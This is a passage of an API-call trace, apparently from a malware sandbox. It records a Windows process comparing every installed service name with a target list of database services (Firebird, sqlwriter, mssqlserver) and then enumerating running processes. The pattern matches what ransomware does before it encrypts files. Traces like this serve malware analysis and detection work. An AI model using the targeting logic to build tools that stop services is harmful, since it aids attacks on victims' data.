	[0166.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0166.004] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0166.004] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0166.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0166.004] lstrlenW (lpString="DusmSvc") returned 7
	[0166.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0166.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0166.004] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0166.004] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0166.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0166.004] lstrlenW (lpString="EventLog") returned 8
	[0166.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0166.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0166.004] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0166.004] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0166.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0166.004] lstrlenW (lpString="EventSystem") returned 11
	[0166.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0166.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0166.004] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0166.004] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0166.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0166.004] lstrlenW (lpString="FontCache") returned 9
	[0166.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0166.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0166.005] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0166.005] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0166.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0166.005] lstrlenW (lpString="gpsvc") returned 5
	[0166.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0166.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0166.005] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0166.005] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0166.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0166.005] lstrlenW (lpString="iphlpsvc") returned 8
	[0166.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0166.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0166.005] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0166.005] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0166.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0166.005] lstrlenW (lpString="KeyIso") returned 6
	[0166.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0166.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0166.005] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0166.005] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0166.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0166.005] lstrlenW (lpString="LanmanServer") returned 12
	[0166.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0166.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0166.005] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0166.005] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0166.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0166.005] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0166.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0166.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0166.005] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0166.005] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0166.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0166.006] lstrlenW (lpString="lfsvc") returned 5
	[0166.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0166.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0166.006] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0166.006] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0166.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0166.006] lstrlenW (lpString="lmhosts") returned 7
	[0166.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0166.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0166.006] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0166.006] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0166.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0166.006] lstrlenW (lpString="LSM") returned 3
	[0166.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0166.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0166.006] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0166.006] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0166.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0166.006] lstrlenW (lpString="MpsSvc") returned 6
	[0166.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0166.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0166.006] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0166.006] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0166.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0166.006] lstrlenW (lpString="NcbService") returned 10
	[0166.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0166.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0166.006] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0166.006] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0166.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0166.006] lstrlenW (lpString="netprofm") returned 8
	[0166.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0166.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0166.007] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0166.007] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0166.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0166.007] lstrlenW (lpString="NgcSvc") returned 6
	[0166.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0166.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0166.007] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0166.007] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0166.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0166.007] lstrlenW (lpString="NlaSvc") returned 6
	[0166.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0166.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0166.007] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0166.007] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0166.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0166.007] lstrlenW (lpString="nsi") returned 3
	[0166.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0166.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0166.007] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0166.007] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0166.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0166.007] lstrlenW (lpString="PcaSvc") returned 6
	[0166.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0166.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0166.007] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0166.007] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0166.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0166.007] lstrlenW (lpString="PlugPlay") returned 8
	[0166.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0166.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0166.007] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0166.008] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0166.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0166.008] lstrlenW (lpString="Power") returned 5
	[0166.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0166.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0166.008] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0166.008] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0166.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0166.008] lstrlenW (lpString="ProfSvc") returned 7
	[0166.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0166.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0166.008] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0166.008] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0166.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0166.008] lstrlenW (lpString="RpcEptMapper") returned 12
	[0166.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0166.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0166.008] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0166.008] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0166.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0166.008] lstrlenW (lpString="RpcSs") returned 5
	[0166.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0166.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0166.008] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0166.008] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0166.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0166.008] lstrlenW (lpString="SamSs") returned 5
	[0166.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0166.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0166.008] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0166.008] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0166.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0166.009] lstrlenW (lpString="Schedule") returned 8
	[0166.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0166.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0166.009] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0166.009] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0166.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0166.009] lstrlenW (lpString="SecurityHealthService") returned 21
	[0166.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0166.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0166.009] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0166.009] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0166.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0166.009] lstrlenW (lpString="SENS") returned 4
	[0166.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0166.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0166.009] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0166.009] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0166.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0166.009] lstrlenW (lpString="ShellHWDetection") returned 16
	[0166.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0166.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0166.009] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0166.009] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0166.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0166.009] lstrlenW (lpString="Spooler") returned 7
	[0166.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0166.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0166.009] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0166.009] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0166.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0166.009] lstrlenW (lpString="StateRepository") returned 15
	[0166.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0166.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0166.010] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0166.010] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0166.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0166.010] lstrlenW (lpString="SysMain") returned 7
	[0166.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0166.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0166.010] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0166.010] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0166.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0166.010] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0166.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0166.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0166.011] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0166.011] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0166.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0166.011] lstrlenW (lpString="Themes") returned 6
	[0166.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0166.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0166.011] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0166.011] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0166.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0166.011] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0166.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0166.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0166.011] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0166.011] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0166.011] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4430738 | out: hHeap=0x610000) returned 1
	[0166.011] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344
	[0166.308] Process32FirstW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0166.308] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0166.308] lstrlenW (lpString="System") returned 6
	[0166.308] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0166.309] lstrlenW (lpString="smss.exe") returned 8
	[0166.309] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0166.309] lstrlenW (lpString="csrss.exe") returned 9
	[0166.310] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0166.310] lstrlenW (lpString="wininit.exe") returned 11
	[0166.310] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0166.310] lstrlenW (lpString="csrss.exe") returned 9
	[0166.310] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0166.311] lstrlenW (lpString="winlogon.exe") returned 12
	[0166.311] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0166.311] lstrlenW (lpString="services.exe") returned 12
	[0166.311] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0166.312] lstrlenW (lpString="lsass.exe") returned 9
	[0166.312] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0166.312] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0166.312] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0166.312] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0166.312] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.313] lstrlenW (lpString="svchost.exe") returned 11
	[0166.313] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.313] lstrlenW (lpString="svchost.exe") returned 11
	[0166.313] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0166.314] lstrlenW (lpString="dwm.exe") returned 7
	[0166.314] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.314] lstrlenW (lpString="svchost.exe") returned 11
	[0166.314] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.315] lstrlenW (lpString="svchost.exe") returned 11
	[0166.315] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.315] lstrlenW (lpString="svchost.exe") returned 11
	[0166.315] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.315] lstrlenW (lpString="svchost.exe") returned 11
	[0166.316] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.316] lstrlenW (lpString="svchost.exe") returned 11
	[0166.316] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.316] lstrlenW (lpString="svchost.exe") returned 11
	[0166.316] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.317] lstrlenW (lpString="svchost.exe") returned 11
	[0166.317] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.317] lstrlenW (lpString="svchost.exe") returned 11
	[0166.317] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.318] lstrlenW (lpString="svchost.exe") returned 11
	[0166.318] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.318] lstrlenW (lpString="svchost.exe") returned 11
	[0166.318] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0166.318] lstrlenW (lpString="spoolsv.exe") returned 11
